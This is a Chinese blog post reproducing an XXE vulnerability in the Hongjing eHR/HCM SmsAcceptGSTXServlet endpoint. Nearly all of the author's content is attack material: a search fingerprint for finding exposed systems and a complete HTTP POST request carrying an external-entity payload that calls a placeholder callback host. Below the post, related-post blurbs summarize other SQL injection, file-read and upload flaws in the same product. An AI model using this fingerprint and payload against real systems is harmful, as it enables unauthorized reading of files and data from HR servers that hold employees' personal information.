宏景eHRSmsAcceptGSTXServle存在XXE漏洞

最新推荐文章于 2024-04-12 05:43:23 发布
最新推荐文章于 2024-04-12 05:43:23 发布
阅读量394 收藏 1
点赞数 1
分类专栏： 漏洞复现 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/waxcj/article/details/135876507
版权

指纹特征

app="HJSOFT-HCM"

漏洞复现

POST /servlet/sms/SmsAcceptGSTXServlet HTTP/1.1
Host: 
User-Agent:  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 137
Content-Type: text/xml
Connection: close

<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM "http://dns">]><r><a>&sp;</a ></r>

在这里插入图片描述
在这里插入图片描述

LZsec
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【漏洞复现】宏景ehr-hcm-SmsAcceptGSTXServlet-xxe
知黑而守白
01-26 134
宏景HCM系统是一款由宏景软件研发的系统，主要功能包括人员、组织机构、档案、合同、薪资、保险、绩效、考勤、招聘、培训、干部任免和人事流程等业务的管理，以及人事、绩效、培训、招聘、考勤等业务自助，还具备了报表功能和灵活的表格工具，支持集团管控、目标管理、领导决策等应用。该漏洞存在于宏景EHR人力资源管理系统的 SmsAcceptGSTXServlet 接口处存在XML实体注入漏洞，它允许攻击者通过精心构造的XML输入触发解析器的漏洞，从而可能导致敏感信息泄露或远程代码执行。
【1day】宏景OA SmsAcceptGSTXServlet接口 XXE漏洞学习——可读取任意文件
记录并分享学习安全的知识点..
09-16 564
宏景OA是一款基于云计算和SaaS模式的企业级办公自动化软件，它为企业提供了全面的办公自动化解决方案，包括协同办公、流程管理、文档管理、知识管理、人力资源管理、客户关系管理等多个模块。它可以帮助企业提高工作效率、降低成本、提高管理水平和企业形象。宏景OA SmsAcceptGSTXServlet接口存在xxe漏洞，攻击者可以利用它来获取敏感信息、控制应用程序、破坏内部网络安全等，从而对企业造成严重的损失。
【漏洞复现】宏景人力资源信息管理系统 showmediainfo SQL注入漏洞(1)
最新发布
2401_84183451的博客
04-12 329
p204888 （备注大数据获取）**[外链图片转存中…(img-CAGbODpK-1712871727780)]
【复现】宏景HCM 任意文件读取漏洞_63
fushuang333的博客
03-03 837
【复现】宏景HCM 任意文件读取漏洞,通过提交专门设计的输入，攻击者就可以在被访问的文件系统中读取或写入任意内容。
XXE漏洞原理+复现
test\\的博客
03-23 1396
XXE -“xml external entity injection"既”xml外部实体注入漏洞”。攻击者通过向服务器注入指定的xml实体内容，使服务器按照指定的配置进行执行，也就是说服务端接收和解析了来自用户端的xml数据，没有做严格的安全控制，从而导致xml外部实体注入。 DTD（Document Type Definition，文档类型定义），用来为 XML 文档定义语法约束，可以是内部申...
宏景eHR SmsAcceptGSTXServlet XXE漏洞复现
0xSec
01-26 581
​ 宏景eHR SmsAcceptGSTXServlet接口处存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。
宏景eHR FrCodeAddTreeServlet SQL注入漏洞复现（含nuclei-POC）
m0_50797689的博客
01-29 341
宏景eHR FrCodeAddTreeServlet SQL注入漏洞复现（含nuclei-POC）
宏景HCM SQL注入漏洞(CNVD-2023-08743) ，hrms加解密工具
11-07
宏景HCM SQL注入漏洞(CNVD-2023-08743) ，hrms加解密工具。需要 Java1.8 环境，执行如下命令启动 HrmsTool 工具， -e 是加密， -d 是解密。 $ java -jar HrmsTool.jar Usage: java -jar HrmsTool.jar -e xxx java ...
宏景eHR数据字典
08-26
宏景eHR数据字典,
宏景软件考勤管理解决方案.docx
11-16
宏景软件考勤管理解决方案 宏景软件考勤管理解决方案是人事工作中的一项根底性管理任务，为工资核算、劳动纪律管理、绩效考核等各项人事工作提供根底性信息。该解决方案提供了多种考勤方式和假期管理的考勤管理模块...
宏景软件考勤管理解决方案样本.doc
12-06
宏景软件考勤管理解决方案样本.doc 宏景软件考勤管理解决方案样本是一种人力资源管理系统的模块，旨在解决企业中的人事工作中的考勤管理问题。该解决方案能够满足不同单位的需求，提供了C/S和B/S两个版本的考勤模块...
宏景hr数据字典.doc
10-07
宏景HR数据字典 宏景HR数据字典是一份详细的数据字典，用于存储HRP数据库设计方案的人员根本信息。该数据字典主要存储在2.5人员根本情况表中，涵盖了机构、部门、职位、人员等信息。 1. 总体介绍 HRP数据库设计...
【1day】复现宏景eHR存在任意文件上传漏洞
记录并分享学习安全的知识点..
07-31 848
北京宏景世纪软件股份有限公司（简称“宏景软件”）自成立以来始终专注于国有企事业单位人力与人才管理数智化（数字化、智能化）产品的研发和应用推广，是中国国有企事业单位人力与人才管理数智化的领航者。 宏景eHR存在任意文件上传漏洞，可经过身份认证的远程攻击者可利用此漏洞上传任意文件，最终可导致服务器失陷。
宏景ehr-trainplan-tree-sql注入-未公开Day漏洞复现
weixin_43167326的博客
01-21 392
宏景人力资源信息管理系统是一款全面覆盖人力资源管理各模块的软件，旨在帮助企事业单位构建高绩效组织，推动组织健康成长，提升组织软实力。系统功能包括人员、组织机构、档案、合同、薪资、保险、绩效、考勤、招聘、培训、干部任免和人事流程等业务的管理，以及人事、绩效、培训、招聘、考勤等业务自助，还具备报表功能和灵活的表格工具，支持集团管控、目标管理、领导决策等应用。
【漏洞复现】宏景人力资源信息管理系统 DisplayExcelCustomReport 任意文件读取漏洞
https://blog.echo234.cn/
04-04 702
宏景人力资源信息管理系统是一款全面覆盖人力资源管理各模块的软件，旨在帮助企事业单位构建高绩效组织，推动组织健康成长，提升组织软实力。系统功能包括人员、组织机构、档案、合同、薪资、保险、绩效、考勤、招聘、培训、干部任免和人事流程等业务的管理，以及人事、绩效、培训、招聘、考勤等业务自助，还具备报表功能和灵活的表格工具，支持集团管控、目标管理、领导决策等应用。宏景人力资源信息管理系统DisplayExcelCustomReport存在任意文件读取漏洞，攻击者可通过该漏洞获取敏感信息。
宏景eHR SQL 注入漏洞复现(CVE-2023-6655)
0xSec
12-11 1184
宏景eHR 中发现了一种被分类为关键的漏洞，该漏洞影响了Login Interface组件中/w_selfservice/oauthservlet/%2e../.%2e/general/inform/org/loadhistroyorgtree文件的某个未知功能。通过操纵参数parentid可能导致SQL注入攻击，未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息。
Web安全 XXE漏洞的 测试和利用.（读取服务器的任何文件 和 收集服务器的内网信息.）
网络安全领域___专研者.
03-08 6297
XXE漏洞全称（XML External Entity Injection），即XML外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成：文件读取、命令执行、内网端口扫描、攻击内网网站，DOS攻击 等危害.（xxe漏洞触发的点往往是可以上传xml文件的位置的，没有对上传的xml文件进行过滤，导致可上传恶意xml文件.）
【渗透+取证】博客传送门（持续更新中）
记录并分享学习安全的知识点..
12-05 1652
【渗透+取证】博客传送门（持续更新中）
宏景ehr 任意文件上传
08-13
宏景ehr存在任意文件上传漏洞。任意文件上传是指攻击者可以通过该漏洞将任意文件上传至服务器中，可能导致安全风险，例如恶意文件的传播或执行，以及系统的受损。 宏景ehr系统中的任意文件上传漏洞可以由以下原因引起：缺乏对上传文件的有效限制和过滤，或是存在未授权的文件上传接口。 攻击者可以通过利用该漏洞上传恶意文件，例如木马、恶意脚本或病毒，来实施攻击。这些恶意文件可以被用于进一步攻击服务器或窃取用户信息。例如，攻击者可以上传受感染的文件并通过执行该文件来获取系统权限，从而访问或篡改敏感数据。 为了预防宏景ehr的任意文件上传漏洞，以下措施可以提高系统的安全性： 1. 实施文件类型的检查与限制：仅允许上传可信的文件类型，例如只允许上传文档、图像或压缩文件，而不允许上传可执行文件等危险文件类型。 2. 文件内容的过滤与验证：对上传的文件进行内容检查与验证，确保其不包含任何恶意代码或脚本。 3. 对上传文件进行病毒扫描：通过病毒扫描软件对上传的文件进行检查，防止上传恶意软件。 4. 限制上传的文件大小：通过限制上传文件的大小，避免攻击者利用大文件来耗尽服务器资源或导致系统崩溃。 5. 强化身份验证与访问控制：考虑使用强密码策略、多因素身份验证以及适当的权限管理机制，确保只有授权用户可以上传文件。 6. 定期更新与维护系统：及时应用安全补丁和更新，以修复可能存在的漏洞。 综上所述，为了避免宏景ehr系统的任意文件上传漏洞带来的安全风险，需要实施有效的文件上传限制与过滤措施，并保持系统的安全性更新。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值